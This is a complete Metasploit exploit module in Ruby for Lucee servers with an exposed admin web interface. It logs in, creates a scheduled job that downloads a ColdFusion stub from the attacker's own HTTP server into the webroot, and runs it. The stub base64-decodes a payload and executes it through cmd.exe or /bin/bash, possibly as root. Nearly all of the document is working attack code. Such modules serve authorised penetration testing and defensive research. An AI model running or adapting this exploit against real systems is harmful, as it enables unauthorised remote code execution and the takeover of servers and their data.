This Metasploit module can be used to execute a payload on Lucee servers that have an exposed administrative web interface. It's possible for an administrator to create a scheduled job that queries a remote ColdFusion file, which is then downloaded and executed when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed, the payload will run as the user specified during the Lucee installation. On Windows, this is a service account; on Linux, it is either the root user or lucee.
79602ec0e4fd423056fa80073c3578efbd79976ee050388452b17b67fd38c488
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Retry
include Msf::Exploit::FileDropper
require 'base64'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
'Description' => %q{
This module can be used to execute a payload on Lucee servers that have an exposed
administrative web interface. It's possible for an administrator to create a
scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
on Linux, it is either the root user or lucee.
},
'Targets' => [
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :windows_cmd
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd
}
]
],
'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
'License' => MSF_LICENSE,
'References' => [
# This abuses the functionality inherent to the Lucee platform and
# thus is not related to any CVEs.
# Lucee Docs
['URL', 'https://docs.lucee.org/'],
# cfexecute & cfscript documentation
['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
['URL', 'https://docs.lucee.org/reference/tags/script.html'],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# /opt/lucee/server/lucee-server/context/logs/application.log
# /opt/lucee/web/logs/exception.log
IOC_IN_LOGS,
ARTIFACTS_ON_DISK,
# ColdFusion files located at the webroot of the Lucee server
# C:/lucee/tomcat/webapps/ROOT/ by default on Windows
# /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
]
},
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => '2023-02-10'
)
)
register_options(
[
Opt::RPORT(8888),
OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
]
)
deregister_options('URIPATH')
end
def exploit
payload_base = rand_text_alphanumeric(8..16)
authenticate
start_service({
'Uri' => {
'Proc' => proc do |cli, req|
print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
send_response(cli, cfm_stub)
end,
'Path' => '/' + payload_base + '.cfm'
}
})
#
# Create the scheduled job
#
create_job(payload_base)
#
# Execute the scheduled job and attempt to send a GET request to it.
#
execute_job(payload_base)
print_good('Exploit completed.')
#
# Removes the scheduled job
#
print_status('Removing scheduled job ' + payload_base)
cleanup_request = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'action' => 'services.schedule'
},
'vars_post' => {
'row_1' => '1',
'name_1' => payload_base.to_s,
'mainAction' => 'delete'
}
})
if cleanup_request && cleanup_request.code == 302
print_good('Scheduled job removed.')
else
print_bad('Failed to remove scheduled job.')
end
end
def authenticate
auth = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_post' => {
'login_passwordweb' => datastore['PASSWORD'],
'lang' => 'en',
'rememberMe' => 's',
'submit' => 'submit'
}
})
unless auth
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
end
unless auth.code == 200 && auth.body.include?('nav_Security')
fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
end
print_good('Authenticated successfully')
end
def create_job(payload_base)
create_job = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'keep_cookies' => true,
'vars_get' => {
'action' => 'services.schedule',
'action2' => 'create'
},
'vars_post' => {
'name' => payload_base,
'url' => get_uri.to_s,
'interval' => '3600',
'start_day' => '01',
'start_month' => '02',
'start_year' => '2023',
'start_hour' => '00',
'start_minute' => '00',
'start_second' => '00',
'run' => 'create'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if create_job.nil?
fail_with(Failure::UnexpectedReply, 'Unable to create job') unless create_job.code == 302
print_good('Job ' + payload_base + ' created successfully')
job_file_path = file_path = webroot
fail_with(Failure::UnexpectedReply, 'Could not identify the web root') if job_file_path.blank?
case target['Type']
when :unix_cmd
file_path << '/'
job_file_path = "#{job_file_path.gsub('/', '//')}//"
when :windows_cmd
file_path << '\\'
job_file_path = "#{job_file_path.gsub('\\', '\\\\')}\\"
end
update_job = send_request_cgi({
'method' => 'POST',
'uri' => target_uri.path,
'keep_cookies' => true,
'vars_get' => {
'action' => 'services.schedule',
'action2' => 'edit',
'task' => create_job.headers['location'].split('=')[-1]
},
'vars_post' => {
'name' => payload_base,
'url' => get_uri.to_s,
'port' => datastore['SRVPORT'],
'timeout' => '50',
'username' => '',
'password' => '',
'proxyserver' => '',
'proxyport' => '',
'proxyuser' => '',
'proxypassword' => '',
'publish' => 'true',
'file' => "#{job_file_path}#{payload_base}.cfm",
'start_day' => '01',
'start_month' => '02',
'start_year' => '2023',
'start_hour' => '00',
'start_minute' => '00',
'start_second' => '00',
'end_day' => '',
'end_month' => '',
'end_year' => '',
'end_hour' => '',
'end_minute' => '',
'end_second' => '',
'interval_hour' => '1',
'interval_minute' => '0',
'interval_second' => '0',
'run' => 'update'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if update_job.nil?
fail_with(Failure::UnexpectedReply, 'Unable to update job') unless update_job.code == 302 || update_job.code == 200
register_files_for_cleanup("#{file_path}#{payload_base}.cfm")
print_good('Job ' + payload_base + ' updated successfully')
end
def execute_job(payload_base)
print_status("Executing scheduled job: #{payload_base}")
job_execution = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_get' => {
'action' => 'services.schedule'
},
'vars_post' => {
'row_1' => '1',
'name_1' => payload_base,
'mainAction' => 'execute'
}
})
fail_with(Failure::Unreachable, 'Could not connect to the web service') if job_execution.nil?
fail_with(Failure::Unknown, 'Unable to execute job') unless job_execution.code == 302 || job_execution.code == 200
print_good('Job ' + payload_base + ' executed successfully')
payload_response = nil
retry_until_truthy(timeout: datastore['PAYLOAD_DEPLOY_TIMEOUT']) do
print_status('Attempting to access payload...')
payload_response = send_request_cgi(
'uri' => '/' + payload_base + '.cfm',
'method' => 'GET'
)
payload_response.nil? || (payload_response && payload_response.code == 200 && payload_response.body.exclude?('Error')) || (payload_response.code == 500)
end
# Unix systems tend to return a 500 response code when executing a shell. Windows tends to return a nil response, hence the check for both.
fail_with(Failure::Unknown, 'Unable to execute payload') unless payload_response.nil? || payload_response.code == 200 || payload_response.code == 500
if payload_response.nil?
print_status('No response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
elsif payload_response.code == 200
print_good('Received 200 response from ' + payload_base + '.cfm')
output = payload_response.body.strip
if output.include?("\n")
print_good('Output:')
print_line(output)
elsif output.present?
print_good('Output: ' + output)
end
elsif payload_response.code == 500
print_status('Received 500 response from ' + payload_base + '.cfm' + (session_created? ? '' : ' Check your listener!'))
end
end
def webroot
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return nil unless res
res.get_html_document.at('[text()*="Webroot"]')&.next&.next&.text
end
def cfm_stub
case target['Type']
when :windows_cmd
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="cmd.exe", arguments="/c " & toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64")),timeout=5);
</cfscript>
CFM
when :unix_cmd
<<~CFM.gsub(/^\s+/, '').tr("\n", '')
<cfscript>
cfexecute(name="/bin/bash", arguments=["-c", toString(binaryDecode("#{Base64.strict_encode64(payload.encoded)}", "base64"))],timeout=5);
</cfscript>
CFM
end
end
end